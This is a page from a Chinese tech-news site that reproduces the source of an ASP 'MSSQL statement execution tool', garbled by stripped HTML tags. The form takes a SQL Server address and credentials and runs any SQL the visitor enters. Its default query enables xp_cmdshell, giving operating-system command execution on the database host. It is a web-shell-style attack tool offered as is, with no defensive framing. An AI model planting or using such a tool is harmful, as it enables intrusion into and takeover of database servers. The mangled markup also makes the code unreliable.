刹客网络科技资讯
点击右侧关注,最新科技资讯!
Dim Sql_serverip,Sql_linkport,Sql_username,Sql_password,Sql_database,Sql_contentSql_serverip=Trim(Request("Sql_serverip"))Sql_linkport=Trim(Request("Sql_linkport"))Sql_username=Trim(Request("Sql_username"))Sql_password=Trim(Request("Sql_password"))Sql_database=Trim(Request("Sql_database"))Sql_content =Trim(Request("Sql_content"))If Sql_linkport="" Then Sql_linkport="1433"If Sql_serverip<>"" and Sql_linkport<>"" and Sql_username<>"" and Sql_password<>"" and Sql_content<>"" Then Response.Write "执行结果如下:" Dim SQL,conn,linkStr SQL=Sql_content set conn=Server.createobject("adodb.connection") If Len(Sql_database)=0 Then linkStr="driver={SQL Server};Server=" & Sql_serverip & "," & Sql_linkport & ";uid=" & Sql_username & ";pwd=" & Sql_password Else linkStr="driver={SQL Server};Server=" & Sql_serverip & "," & Sql_linkport & ";uid=" & Sql_username & ";pwd=" & Sql_password & ";database=" & Sql_database End If conn.open linkStr ' "Driver={SQL Server};SERVER=IP,端口号;UID=sa;PWD=xxxx;DATABASE=DB" conn.execute SQL on error resume next if err<>0 then response.write "错误:"&err.Descripting else response.write Replace(SQL,vbcrlf,"
") & "
成功!" end if Response.End End IfIf Request("do")<>"" Then Response.Write "请填写数据库连接参数" Response.EndEnd If%>"pragma" content="Cache-Control" content="expires" content=MSSQL语句执行工具"100%">"post" action=
"1" width="100%"> "2" align="center"> "5">MSSQL语句执行工具asp版
"1px"> "2" align="center">数据库连接设置
"80">SERVERIP:"text" name="Sql_serverip" style="width:150px;">
"80">LINKPORT:"text" name="Sql_linkport" style="width:150px;">
"80">USERNAME:"text" name="Sql_username" style="width:150px;">
"80">PASSWORD:"password" name="Sql_password" style="width:150px;">
"80">DATABASE:"text" name="Sql_database" style="width:150px;">
"100%">
style='
color: #990099;
background-color: #E6E6FA;
border: solid 2px black;
width: 100%;
height: 180px;
scrollbar-face-color: #DDA0DD;
scrollbar-shadow-color: #3D5054;
scrollbar-highlight-color: #C3D6DA;
scrollbar-3dlight-color: #3D5054;
scrollbar-darkshadow-color: #85989C;
scrollbar-track-color: #D8BFD8;
scrollbar-arrow-color: #E6E6FA;
'>
"Sql_content" style='width:100%;height:100%;'>EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE
"submit" value="执行命令">
"100%"> width=